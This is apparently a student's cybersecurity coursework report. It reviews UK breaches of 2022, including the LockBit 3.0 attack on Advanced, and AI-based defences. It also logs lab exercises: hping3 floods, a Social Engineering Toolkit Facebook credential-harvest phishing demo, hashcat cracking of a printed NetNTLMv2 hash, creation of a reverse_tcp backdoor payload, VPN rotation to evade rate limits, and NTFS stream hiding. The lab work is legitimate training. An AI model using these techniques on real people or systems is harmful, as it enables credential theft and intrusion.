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[bookmark: _Toc124245427]Introduction

Cybercrime is on the increase and is now considered as one of the main risks to organisations and businesses. Data can be stolen and sold online, business operations can grind to a halt, and the financial cost of recovery can be unsustainable for some.
This paper looks at cyber security breaches reported in the UK during the year of 2022, and research and development within this field to counter such attacks 
It focuses on a recent cyber-attack targeting the company Advanced, who host IT systems for the United Kingdom’s NHS 111 service and were the victim of LockBit3.0 malware. We investigate the hackers attack vector, how lateral movement was used once entry was gained to the system, and the mechanism of infection by LockBit3.0
The advances in defensive approaches to cyber-attacks are reviewed, looking at how the field of Artificial Intelligence is being embedded in systems to detect and counter attacks. We discuss and examine market competitors within the field of cyber defence.     













[bookmark: _Toc124245428]Task 1 – NGO’s cyber security research

Cyber security breaches and attacks are becoming a weekly occurrence in the global private and public sectors, with 9 serious attacks being listed by Nicolas Bray in the UK during October 2022[1]. These attacks were in the government, public sector, educational establishments, retail, and the financial services. One of the breaches highlighted was the former prime mister, Liz Truss, who’s mobile phone number had been leaked online with the details being sold to subscribers of the service [2]. A former intelligence officer, Colonel Philip Ingram, pointed out in the article the severity of this breach, mentioning that espionage software such as Pegasus could be launched and targeted at the former prime minster mobile number [2]. 
Pegasus is a hacking spyware tool used to launch attacks, with both IOS and Android devices being susceptible. It grants unrestricted access of the device to the attacker [3]. It can be used to extract data, such as the messages sent and received, photos, hear voice calls being made and received in real time, and provides access to the phone’s camera and microphone.
In December 2022, The Guardian newspaper reported there had been a ‘serious incident’ relating to its I.T systems and asked all its staff to work from home and not attend the office. It was reported as a suspected ransomware attack [4]. 
South Staff Water, in November 2022 were targeted by hackers [5]with customer bank details being leaked onto the dark web. The hacking group behind the attack demanded a ransom be paid to remove the leaked information and said they had gained access to the water supply and had the capability to infiltrate it with chemicals. The latter was rebutted by the company who said the water supply was safe and was never in jeopardy of being compromised following the hack [6]. This was a ransomware attack. 
Advanced, a company providing IT services to the NHS 111, was targeted by cyber criminals in August 2022 [7]. This hack adversely effected the 111 services, directly impacting on patient care. The company did not disclose if it had paid the ransom, however it was quoted as saying it was restoring systems which can take up to 3-4 weeks, and from this we can presume the ransom was not paid an systems were being restored. The National Cyber Security Centre (NCSC) provided support to them its their recovery process. 
A spokesperson for NCSC said ‘Ransomware is the key cyber-threat facing the UK, and all organisations should take immediate step to limit risks by following our advice on how to put in place robust defences to protect their networks’[7]. 

Taking a closer look at the ransomware attack targeting the healthcare supplier, we learn that data was first accessed, and then extracted from systems. The ransomware used was LockBit3.0, which has a two-fold extortion method, encrypting the target data and uploading a copy of the files to another device, usually controlled by the hacker [8]. 
Lockbit3.0 is defined as a Ransomware-as-a-service (RaaS) model and is used to target large organisations with capabilities of paying ransoms. Victims of the attack are asked to pay a ransom to unencrypt their data or prevent it from being exposed online. The malware can use several attack vector techniques to infiltrate target networks, which include phishing, brute forcing remote desktop accounts, or exploiting known vulnerabilities such as CVE-2018-13379 and CVE-2021-22986 [9], [10]. Windows and Linux based systems are both susceptible to infection. 
In the case of the breach on Advanced, once the attacked had gained access via remote desktop, they were able to elevate privileges through lateral movement within the environment. The NCSC [11] and Microsoft [12]both provide comprehensive guidance and recommendations on how systems administrators should reduce the risk and detect any suspicious activities on their IT networks.
When a device is infected, the extensions of the files will be altered, and the desktop wallpaper changed the inform the users that the device has been compromised. A readme.txt file is created with payment details. 
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[bookmark: _Toc124244928]Figure 1 – Lockbit 3.0 wallpaper [9].


During the attack on Advanced [8], the hacker gained access to a third-party account, and used the credentials to logon to a Remote Desktop Session to a Citrix server. The attacker then moved laterally within the IT environment and elevate privileges which ultimately allowed them to execute the malware, which started encrypting the files and folder across the IT systems. 
[bookmark: _Toc124245429]Prevention and Defence
Taking the example above into account, we can look at advances within the cyber security industry and what prevention measures could have been put in place to prevent or detect the LockBit3.0 ransomware attack.
Lateral movement is a technique cyber criminals use to move deeper or gained higher privileges once they have initial access to an IT environment. The hacker could be hidden away undetected on the network for weeks or even months, gathering further information to aid them in deploying a final attack [13]. 
The reconnaissance stage used by the attacker allows them to gather as much intelligence as possible on the targets system, such as network topology, operating systems, and potential high valued assets. Several tools can be used during this stage which can include [13]:
· Netstat – identify current network connections
· Recon-ng – A tool to gather information about a target domain [14]
· ARP Cache – to provide information about IP addresses mapped to physical MAC addresses
· PowerShell – a powerful windows command scripting tool allowing identification of systems users have permission too. 
Once reconnaissance is completed, the next stage is to gather privileged credentials to allow escalation. This can be done by ‘tricking’ a user into sharing credentials via social engineering techniques, for example, telephone calls to an employee of the organisation or a targeted email phishing attacks [13], [15]. Other methods used can include:
· pass the hash – Sniffing the network to steal the password hash when users authenticate. The hash can later be cracked to reveal the password
· Tools such as Mimikatz [16] can be used to gather cached passwords or password certificates from devices on the network.
· Key loggers can be installed on end user devices to capture usernames and passwords as they are typed on the keyboard.
The final stage once reconnaissance and information has been gathered is to gain access to high valued assets such as a domain administrator account. This can allow the hacker to execute the payload of the malware such as the ransomware Lockbit3.0 discussed above. 
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[bookmark: _Toc124244929]Figure 2 - Stages of lateral movement [11].

[bookmark: _Toc124245430]Defence approaches 
Early detection of lateral movement within an IT environment is a key strategy in the defence of cyber security attacks. 
Technology advances in Security Information and event management (SIEM) tools have allowed greater detection and prevention of attacks by detecting threats early and alerting system admins or taking action to remove or mitigate the threat. 
LogRhythm SIEM can be used to continuously monitor for advanced threat (APTs) on the network, by integrating with the system logs collected and recognise patterns for pre and post execution behaviour which could indicate certain types of zero-day malware and exploits that end user device AV might miss. The system can integrate with the internal active directory and firewalls on the network, and automated remedial action can be taken such as blocking traffic to the originating IP address or disabling the potentially compromised account and/or host [17]. 
Artificial intelligence (AI) is a technology advancing in the field of cyber security, allowing machine learning and language processing to provide rapid responses to potential cyber threats. Cyber-attacks are growing in complexity, with many IT departments being under resources to deal with the modern-day risk, and AI can be utilised to continuously learn and improve its knowledge and to ‘understand’ the environment it’s protecting. It can analyse threats faster than humans such as malicious files and suspicious activity from IP addresses, and act in seconds [18], [19]. 
Darktrace, an American-British cyber defence company established in 2013 [20], developed a cyber-AI platform that applied the principals and capabilities of AI to cyber-security.
The Darktrace platform uses AI technology to monitor the environment continuously. Where traditional SIEM systems rely on a trigger or log anomaly to notify, detect, and sometimes act, the AI platform relies on historic data learnt and real-time information to make informed decisions [20], [21]. 
On initial setup, the system is deployed on the host network and set to mirror and collect all incoming and outgoing traffic and activities. Within a couple of days, the AI learns about the host environment such as IP addresses, subnets, device type, operating systems, users, files and folders activity and daily backups. The organisations ‘pattern of life’ is quickly learnt by the appliance, and it can then distinguish between normal and suspicious activity, acting if needed. 
Comport article ‘What is darktrace and how can its cyber-AI platform leave you less vulnerable’ gives a good example of how this technology can be put in practice [21]:
‘A data backup might not seem nefarious, but what if the data upload contains 73% more data than usual (it could just be a busy day or someone could be filtering your data in another direction outside of your company). Cyber AI recognizes this deviation and intervenes, severing the connection to the company server for a given time. In addition, the DarkTrace Threat Visualizer and Cyber AI Analyst step in, reviewing the data, helping cybersecurity team members understand what happened and how to best prevent it in the future. Of course, this all varies based on the type of attack’.
RansomCare by BullWall is an automated solution specifically developed to detect and prevent ransomware attacks. They recognise that ransomware is by far the most disruptive and expensive form of cyber-attack for organisations, with long costly recovery times.  They developed a product to detect known and unknown ransomware, respond to attacks by alerting the shutting off systems, and reporting on suspicious activity [22], [23]. 
Bullwall works on the principal that the main component of ransomware malware is to encrypt the target files, and by using AI to monitor real-time data activity, it can listen for network changes to files (encryption) which could indicate as possible ransomware attack. It can then activate an isolation protocol within seconds of detection, which can include the shutdown of devices, disabling user accounts, removing internet access and segregation of networks. 
The technical overview states that it has two-way integration with any SIEM and Network Access Control (NAC) systems, providing pre-configured scripts for easy setup and implementation. Integration with Aruba and Cisco network devices can be done, using XML commands to quickly isolate client/user from the network for any potential attacks detected [24]. 
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Part 1: Use Windows Command Line Utility to Gather Information Task: Gather information about the authoritative name server and its IP Address of www.itsecgames.com
ping www.itsecgames.com
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc124244930]Figure 3 - ping www.itsecgames.com -f -l 1500
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc124244931]Figure 4 - ping www.itsecgames.com -f -l 1472
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[bookmark: _Toc124244932]Figure 5 - ping www.itsecgames.com -f -l 1472
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[bookmark: _Toc124244933]Figure 6 - ping www.itsecgames.com -f -l 1473
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[bookmark: _Toc124244934]Figure 7 - tracert itsecgames.com
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[bookmark: _Toc124244935]Figure 8- ping www.itsecgames.com -i 4 -n 1
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[bookmark: _Toc124244936]Figure 9 - ping www.itsecgames.com -i 8 -n 1
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[bookmark: _Toc124244937]Figure 10 - ping www.itsecgames.com -i 9 -n 1






Do research on the internet and find out what are the options, you can use with ping command and what are their functionalities with suitable example?
There are 18 switches for the PING command in Windows that allow specific settings to be changed for different purposes. 
Some examples of these are:
-t – this can be used for running a continuous ping which can be useful to detect if a device is dropping off the network intermittently.  e.g., ping -t 192.168.1.1
-i – this switch can be used to set the Time to Live (TTL) for the ping packets being sent. The default set by windows is 128 and it may be useful to set a higher or lower TTL when troubleshooting network issues to determine the number of hops to the end device E.g. ping -I 5 www.google.com
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[bookmark: _Toc124244938]Figure 11 - PING syntax [25].





[bookmark: _Toc124245433]Part 2: Use Sublist3r tool to enumerate subdomains of Websites using OSINT
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[bookmark: _Toc124244939]Figure 12- sublist3r -d google.com -t 3 -e bing
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[bookmark: _Toc124244940]Figure 13 - sublist3r -d google.com -p 80 -e bing











Do research on the internet and find out similar tools used? Document them with their operations, functions, and screenshots.
Sn0int as an alternative to Sublist3r and can be used to get information about targets [26]. 
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[bookmark: _Toc124244941]Figure 14 - Installing Sn0int
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[bookmark: _Toc124244942]Figure 15 - running and installing default packages
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[bookmark: _Toc124244943]Figure 16 - Create workspace and add domain
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[bookmark: _Toc124244944]Figure 17 - Run url-scan
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[bookmark: _Toc124244945]Figure 18 - using dns-resolve















[bookmark: _Toc124245434]Part 3: Use Web Data Extractor tool to extract data from web pages. 
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[bookmark: _Toc124244946]Figure 19 - Running search on www.crtifiedhacker.com
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[bookmark: _Toc124244947]Figure 20 - Email results from Web Data Extractor
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[bookmark: _Toc124244948]Figure 21 - phone number results from Web Data Extractor
Do research on the internet and find out similar tools used? Document them with their operations, functions, and screenshots.
GSA Email Spider 7.1 – this is a program that can be used to extract information such as email addresses and phone numbers from a website [27]. 
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[bookmark: _Toc124244949]Figure 22 – GSA = How deep 1 link level
[image: Graphical user interface, text, application, email

Description automatically generated]
[bookmark: _Toc124244950]Figure 23 - URL's in queue - GSA Email Spider















[bookmark: _Toc124245435]Part 4: Use Email Tracker Pro to trace and track delivered email.
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[bookmark: _Toc124244951]Figure 24- Email trace from noreply_moodle@uwtsd.ac.uk
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[bookmark: _Toc124244952]Figure 25 - Results











[bookmark: _Toc124245436]Part 5: Use Recon -ng tool
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[bookmark: _Toc124244953]Figure 26 - Using git to install recon-ng
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[bookmark: _Toc124244954]Figure 27 - Create workspace and list
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[bookmark: _Toc124244955]Figure 28 - Install netcraft
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[bookmark: _Toc124244956]Figure 29 - Adding domains
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[bookmark: _Toc124244957]Figure 30 - bing_domain-Web
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[bookmark: _Toc124244958]Figure 31 - Google_site_web
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[bookmark: _Toc124244959]Figure 32 – hacker target
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[bookmark: _Toc124244960]Figure 33- Hacker Target 30 hosts found





[bookmark: _Toc124245437]Part 6 – HPING
What are the other TCP flags? List out the commands to send other TCP flags, execute the commands and capture the outputs. Write a brief note to reflect your understanding on using HPING to send TCP flags. Include what is the purpose, what intelligence did you gather etc
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime

HPING can be used to find out if ports are open by the scan returning the SYN and ACK flags which indicate an open port.
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[bookmark: _Toc124244961]Figure 34 HPING -R -P -A flags
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[bookmark: _Toc124244962]Figure 35 - hping3 10.0.2.15 -2 --rand-source -d 600
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[bookmark: _Toc124244963]Figure 36 - wireshark UDP packets from random address
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[bookmark: _Toc124244964]Figure 37 - hping3 10.0.2.15 –flood
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[bookmark: _Toc124244965]Figure 38 - sudo nmap -sP 10.0.2.*






[bookmark: _Toc124245438]Part 7 – Net Use
The net use command is used to connect or map a network drive on older versions of Windows operating system. It is commonly used to connect network shares or display current network shares (as in the example below). 
The commend is supported on the following operating system: Windows Server 2003, Windows Vista, Windows XP, Windows Server 2008, Windows 7, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2000, Windows Server 2012, Windows 8 [28].
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[bookmark: _Toc124244966]Figure 39 - net use
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[bookmark: _Toc124244967]Figure 40 - mapping drive to a letter
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[bookmark: _Toc124244968]Figure 41 - Delete a network share






[bookmark: _Toc124245439]Part 8 – Metasploit
Know about MSF console. Do research on Metasploit. A very useful tool in Kali Linux..
Metasploit is framework of tools that can be used for vulnerability testing purposes or to exploit systems. It includes an console that is run using the ‘msconsole’ command to open the interface. 
From the console, exploits can be selected, and targets set using ‘set TARGET’ command and exploits with the ‘use exploit’ command.
You can use active and passive exploits. Active exploits will target a specific host and run until completed, whereas passive exploits will wait for a host to connect then exploit them. 
Metasploit can be used for Information gathering, vulnerability scanning, writing simple fuzzers, Web App exploits, client side attacks and custom scripting [29], [30].
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[bookmark: _Toc124244969]Figure 42- Password sniffing with Metasploit [30].
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[bookmark: _Toc124244970]Figure 43 - Metasploit console















[bookmark: _Toc124245440]Part 9 - Nessus Scanning
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[bookmark: _Toc124244971]Figure 44 - Install Nessus on Windows

Need to ensure the option to ‘ping remote host’ is disabled as this can be problematic with firewalls and VMWare based clints which pay report ICMP Unreachable error and stop the scan. 
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[bookmark: _Toc124244972]Figure 45 - Scan on Windows 10 from Windows 2016

[bookmark: _Toc124245441]Windows 10 Scan Results
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[bookmark: _Toc124244973]Figure 46 - See Appendix 1. Nessus Scan Results from Windows
A medium risk was identified on the host as ‘SMB Signing not required’. 
The description of this risk states that singing is not required on the remote SMB server which could result in an unauthenticated ‘man in the middle’ attack against the remote SMB server. 
As this is a windows device, the recommendation is the enforce message signing on the host configuration file found under ‘Microsoft network server: Digitally sign communication’ setting. 
The SMB provides file and print sharing for windows-based systems and to help prevent attacks against these packets in transit, the protocol supports enabling digitally singing SMB packets.  If enabled, packets must be signed before further communication is negotiation. 
The setting is held in the following registry key: 
HKLM\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature
Solution
GPO (Group Policy Objects) should be used to enable the policy on the domain controller and applied to all servers on the network. This can be done by navigating to the following: 
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\ [31], [32]. 




[bookmark: _Toc124245442]Kali Linux Nessus Scan (Windows Server 2012)
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[bookmark: _Toc124244974]Figure 47 - see Appendix 2. Nessus Scan from Kali Linux

A high risk was identified on the Windows 2012 host scanned - CVE-1999-0517
The SNMP community name is set as the default name of public, which is easily guessable. An attacker could use this information to gain more knowledge about the host, or to change the configuration of the system. 
The recommended action here is to disable the SNMP service if not used, or filter incoming UDP packets going to the port it is used on.
Solution
We will assume the SNMP service is being used and document the recommended action to take. 
1. From the Windows 2012 host, select services (Click Start, point to Control Panel, point to Administrative Tools, and then click Computer Management)
2. Double click the SNMP Service
3. Enter the Security tab
4. In the Community Name box, remove the ‘public’ community name and add another custom community name to be used
5. Select Apply then OK [33].
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[bookmark: _Toc124244975]Figure 48 - SNMP Configuration











[bookmark: _Toc124245443]Part 10 – Nikto Web Scanner
Use Nikto Web Scanner to test Web Servers for vulnerable/ malicious files, outdated server software’s etc
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[bookmark: _Toc124244976]Figure 49 - Nikto Web Scanner


















[bookmark: _Toc124245444]Part 11 - Install Social Engineering Toolkit on Kali Linux
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[bookmark: _Toc124244977]Figure 50 - Social Engineering Toolkit
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[bookmark: _Toc124244978]Figure 51 – Social Engineering Linked in
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[bookmark: _Toc124244979]Figure 52 – Gathering Login Details on Kali. 
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[bookmark: _Toc124244980]Figure 53 – Running Facebook harvest attack

A HTML email was drafted and sent to the victim asking them to login to their Facebook account to approve a photo tagging. This was a social engineered email, and the actual link was pointing to Kali Linux machine running on http://10.0.2.14
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[bookmark: _Toc124244981]Figure 54 - Email link to victim with fake link to Facebook page.
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[bookmark: _Toc124244982]Figure 55 - Facebook harvest attack
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[bookmark: _Toc124244983]Figure 56 - Details harvested
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[bookmark: _Toc124244984]Figure 57 - Netcraft Toolbar
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[bookmark: _Toc124244985]Figure 58 - Netcraft on www.facebook.com – risk rating 0
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[bookmark: _Toc124244986]Figure 59 - Linked in – risk rating 2


Below we can see Netcraft showing the fake Facebook page hosted on the Kali machine with a risk rating of 10. 
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[bookmark: _Toc124244987]Figure 60 - Harvest Facebook site on Kali
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What is this exception? 
429 error states too many requests is a response given when a host has sent too many requests to the target machine and it has been rate limited. 
Why this exception occurs? 
This occurs as google have set a daily per-user or per-ip limit on the number of requests that can be sent any of their services. This is to prevent network attacks such as DOS attack or another type of flooding attack.
How to overcome this exception and successfully extract metadata you’re your target? 
The best way to overcome this error would be to use a VPN service to change your IP each time you were running the request. There are a number of VPN services available which can be purchased online. These create a secure encrypted tunnel connection to remote server. You then use this server to browse to the internet or connect to internet services, masking your true IP host and providing you with the new IP address. An example of this is NordVPN [34]. 

Secure shell tunnelling can be used to port forward traffic through another server using the SSH protocol. This is usually used by hackers who compromise a remote host and then use it to setup a secure SSH tunnel [35]. 


The -e DELAY Delay (in seconds) switch can be used to delay the time between searches. If it's too small Google may block your IP, too big and your search may take a while. Default: 30.0. Example of using this switch is below.
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[bookmark: _Toc124244989]Figure 62 - too many requests to google
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[bookmark: _Toc124244990]Figure 63 - Running with 300 seconds between searches















WebApp Information Gatherer (WIG) is an alternative to Metagoofil.
Wig is a python based tool that can be used to gather and collect information when undertaking penetration testing. This information can include CMS systems, detecting IP addresses and their subdomains and other web based administrative applications looking at vulnerabilities. It is open source and free to use [36]. 
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[bookmark: _Toc124244991]Figure 64 - Features of wig tool [36].
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[bookmark: _Toc124244992]Figure 65 - Installation and running of WIG
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[bookmark: _Toc124244993]Figure 66- wig results for carmarthenshire.gov.uk
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[bookmark: _Toc124244994]Figure 67 - Hash file on Kali
Hashcat is described as one of the most advanced and fastest hack cracking tools available, supporting over 300 hash algorithms and hardware accelerations on Windows, Linux and Mac based systems. It is released under a The MIT License (MIT) [37].
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[bookmark: _Toc124244995]Figure 68- Running Hashcat



Running the command above:
sudo hashcat -m 5600 -o out.txt hashes.txt /usr/share/wordlists/rockyou.txt   
-m is the mode below
-o outputs the results into out.txt
hashes.txt is the hash file extracted via responder
rockyou.txt is the wordlist to use to crack the hashes.

Setting Hashcat to use mode 5600
5600 indicates it will be cracking a NetNTLMv2 type hashfile that we obtained from our Windows server.
The hash looks like:
	admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
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[bookmark: _Toc124244996]Figure 69 - hashcat output
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[bookmark: _Toc124244997]Figure 70 – ntlm

Pwdump won’t execute on the windows 2016 machine. On the Windows 10 machine it states it wont run as it’ a possible virus. 
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[bookmark: _Toc124244998]Figure 71 - Connection stablished to Windows 10
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[bookmark: _Toc124244999]Figure 72 – access exploit on windows 10 machine

So far, we have created two different payloads. What is the difference between them? Do research to different payloads and its purposes. 
Shikata_ga_nai payload generic/shell_reverse_tcp
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[bookmark: _Toc124245000]Figure 73- creating payload
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[bookmark: _Toc124245001]Figure 74 – payload files
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[bookmark: _Toc124245002]Figure 75 – metasploit reverse_tcp payload
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[bookmark: _Toc124245003]Figure 76 - backdoor file on windows 10

















[bookmark: _Toc124245449]Part 15 - Hide Files using NTFS Streams
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[bookmark: _Toc124245004]Figure 77 - Hidden Folder
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[bookmark: _Toc124245005]Figure 78 - hide within text file
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[bookmark: _Toc124245451]Presumptions
Microsoft Windows estate with Windows 10/11 devices and a mixture of Windows 2012/2019 virtualised servers. The NGO has a Windows 365 enterprise license and uses Windows Defender for AV scanning and Windows Security Centre for email filtering. 

[bookmark: _Toc124245452]Establishing a baseline 
A baseline of NGO’s cyber security standard would need to be established in the first place to understand the current risks and vulnerabilities to their IT systems.
An internal penetration testing scan would be undertaken using Nessus to scan all accessible hosts on the network. This would include servers and workstation, and it would be recommended that 2 policies are setup within the Nessus environment for this, and that the scans are run monthly thereafter. 
Nessus would be run from a dedicated Kali Linux machine by the tester, with the appropriate firewall’s rules in place so that it was able to access all network. Access to the internal network may be segregated away from the DMZ and it would need to be allowed access.
It is presumed that the server and workstation environment as on separate subnets, so creating separate policies should not be much of an issue here. This will then generate separate reports for servers and workstations, then can be exported to CVS files and provided to the technical teams to work on resolving, targeting the highest listed vulnerabilities first. 
Sublist3r would be used to find any subdomains associated with the NGO’s corporate domain and a web vulnerability scanner such as Nikto Web Scanner, would be run to check for outdated server software’s, vulnerabilities, or any malicious files. 
A compressive test on the Windows 10/11 laptops used by NGO would be done, checking they are ensure regularly patched, appropriate group policies are in place to lockdown unwanted settings and services, and AV is installed and updated. Checks made to ensure standard users should not have local administrative access to devices, and the principals of lease privilege access should be used across the domain. 
An audit of user accounts and password policies would be undertaken to ensure they are complying with authentication best practices as listed by NSCS [38]. 

[bookmark: _Toc124245453]Recommended Actions
Lateral movement within an IT environment can be one of the first indicators of the possible cyber-attack, and preventative measures should be put in place for this.
Restricting privileged accounts 
Domain administrator and local administrator accounts should be tightly controlled. Separate accounts should be created for administrators which should be used on a separate administrator device. These devices should be blocked from internet and email access. This reduces the risk of a privileged account or devices being used with elevated admin permissions to potentially execute and run malware.
Use Microsoft 365 Defender to create a segmenting privilege architecture for domain accounts by implementing a tier model approach. The active directory environment is split into three different tiers with different privileges and access. By doing this, it cuts of the ability of lateral movement, as a standard user account will not have the ability to move into a higher tier should their account be compromised by an attacker [12].
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[bookmark: _Toc124245007]Figure 80 - Three tier model Microsoft Defender [12].

Create good and secure authentication methods
Create good password policies which should include the prevention of commonly used words as passwords. Recommendation here is to move to use Azure Active Directory Domain Protection which can be set to ban the use of globally recognised weak passwords like ‘Password123’, and also have functionality to set custom blocked passwords[39].
Password hashes should be secure and kept up with the most recent recommendations. 
Multifactor authentication (MFA) to be enabled for all user’s accounts. This can be setup to use either Microsoft Authenticator, or to send a text message to a mobile phone. This will greatly reduce to risk from brute-force password attacks and phishing emails, as two factor authentication will be required from logons from new or unknown devices[40].
Geo-fencing to be enabled to prevent login to the company’s domain from IP addresses outside of the working geographical location. For example, if the company is solely UK based, then logins from any country IP address listed outside of the UK be blocked. This can be setup and enabled within Microsoft’s conditional access [41]. 
A SIEM be setup to gather all end user device, server and firewall logs and these to be stored for a minimum of 6 months [42].
Backup policy and procedure to be to be checked to ensure there are off-site (tape) backups available to restore from in the event of a cyber-attack. Online or cloud backups are not good enough as these can be targeted during a sophisticated cyber-attack (such as ransomware) and would be unavailable for data recovery[43].

Further recommendations would be a dedicated AI monitoring and alerting tool be setup such as  DarkTrace Detect and Prevent, with integration to all logs held in the SIEM with automated response and alerting to incidents [20].
As research has shown, ransomware attacks can be highly costly and time consuming when recovering, therefore it is recommended that a dedicated anti-ransomware system be incorporated into the cyber defence stack such as the  BullWalls RansomCare product [22].
Due to the office being shared by other organisations, it would be recommended that device encryption at pre-boot be enabled if a device is stolen. This will encrypt all local data on the device. Microsoft Windows 10 and above comes pre-installed with BitLocker, which can be enabled and managed across a domain via Group Policy[44]. 
Another considering due to the shared office environment would enable Network Access Control (NAC) in place for wired devices. This will prevent devices not belonging to the NGO from establishing a connection on the LAN via a network point [45]. 
If this was not a visible option, or cost prohibited, as some NAC solutions can be costly, it would be recommended to remove DHCP service and allocated static IP addresses to all hard-wired devices.
Wi-Fi with direct access to the corporate network to be setup with RADIUS authentication and strong WPA2-Enterprise encryption. Digital device certificate can be deployed to laptops and used to authenticate, along with Windows AD credentials [46], [47]. 
With the low uptake in previous training, compulsory cyber security awareness training should be introduced, managed, and monitored by the Learning & Development team. It is recommended that weekly reported on non-completion of the training be provided to Senior Management, and that the AD accounts of the users be disabled until the training is completed. Specialist applications such as Meta Compliance [48]are available at a cost to enforce training on end users.
Email phishing campaigners should be run bi-annually for all email users, providing reports to management on the number of staff who clicking on potential malicious links with email. Further training can then be provided by the L&D team. 
Access to systems containing sensitive information, and any other information assets will be audited to ensure only the relevant people are able to access, and period checks of system logs undertaken by the asset owners.  



















[bookmark: _Toc124245454]Conclusion 
It is fair to draw the consultation that the threat landscape in cybersecurity is now, in 2023, at the highest level it has been. There are weekly, if not daily, attacks being reported in the news, with many organisations being targeted due to poor cyber defensive strategies or the lack of knowledge and understanding of the potential risks they can face. It is common that many cyber-attacks go unreported by the victims due to the reputational damage they could face. 
Technology to counter cybercrime is advancing, with products like the RandomCare protection by BullWall, specifically developed to protect against Ransomware attacks. Ransomware is probably one of the worst cybercrimes that can affect organisation, causing devastation, and is one I’m sure keeps IT security professionals awake at night on occasions.
There are many tools readily available and free to use for ethical hackers that might undertake penetration testing, and some of the recommendations made to the NGO business in the scenario above will utilise these, testing for vulnerabilities and weakness and recommending actions. The same tools could be use by cyber criminals for more sinister purposes. 
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Microsoft_Excel_Worksheet1.xlsx
Scan_5ubr0f - server 2012

		Plugin ID		CVE		CVSS v2.0 Base Score		Risk		Host		Protocol		Port		Name		Synopsis		Description		Solution		See Also		Plugin Output		Risk Factor

		35291		CVE-2004-2761		5		High		10.0.2.10		tcp		3389		SSL Certificate Signed Using Weak Hashing Algorithm		An SSL certificate in the certificate chain has been signed using a
weak hash algorithm.		The remote service uses an SSL certificate chain that has been signed
using a cryptographically weak hashing algorithm (e.g. MD2, MD4, MD5,
or SHA1). These signature algorithms are known to be vulnerable to
collision attacks. An attacker can exploit this to generate another
certificate with the same digital signature, allowing an attacker to
masquerade as the affected service.

Note that this plugin reports all SSL certificate chains signed with
SHA-1 that expire after January 1, 2017 as vulnerable. This is in
accordance with Google's gradual sunsetting of the SHA-1 cryptographic
hash algorithm.

Note that certificates in the chain that are contained in the Nessus
CA database (known_CA.inc) have been ignored.		Contact the Certificate Authority to have the SSL certificate reissued.		https://tools.ietf.org/html/rfc3279
http://www.nessus.org/u?9bb87bf2
http://www.nessus.org/u?e120eea1
http://www.nessus.org/u?5d894816
http://www.nessus.org/u?51db68aa
http://www.nessus.org/u?9dc7bfba		
The following certificates were part of the certificate chain sent by
the remote host, but contain hashes that are considered to be weak.

Subject             : CN=Server2012.ACCB6000.com
Signature Algorithm : SHA-1 With RSA Encryption
Valid From          : Nov 21 11:24:20 2022 GMT
Valid To            : May 23 11:24:20 2023 GMT
Raw PEM certificate : 
-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----
		Medium

		41028		CVE-1999-0517		7.5		High		10.0.2.10		udp		161		SNMP Agent Default Community Name (public)		The community name of the remote SNMP server can be guessed.		It is possible to obtain the default community name of the remote
SNMP server.

An attacker may use this information to gain more knowledge about the
remote host, or to change the configuration of the remote system (if
the default community allows such modifications).		Disable the SNMP service on the remote host if you do not use it.
Either filter incoming UDP packets going to this port, or change the 
default community string.				
The remote SNMP server replies to the following default community
string :

public		High

		42873		CVE-2016-2183		5		High		10.0.2.10		tcp		3389		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
		Medium

		97833		CVE-2017-0143		9.3		High		10.0.2.10		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

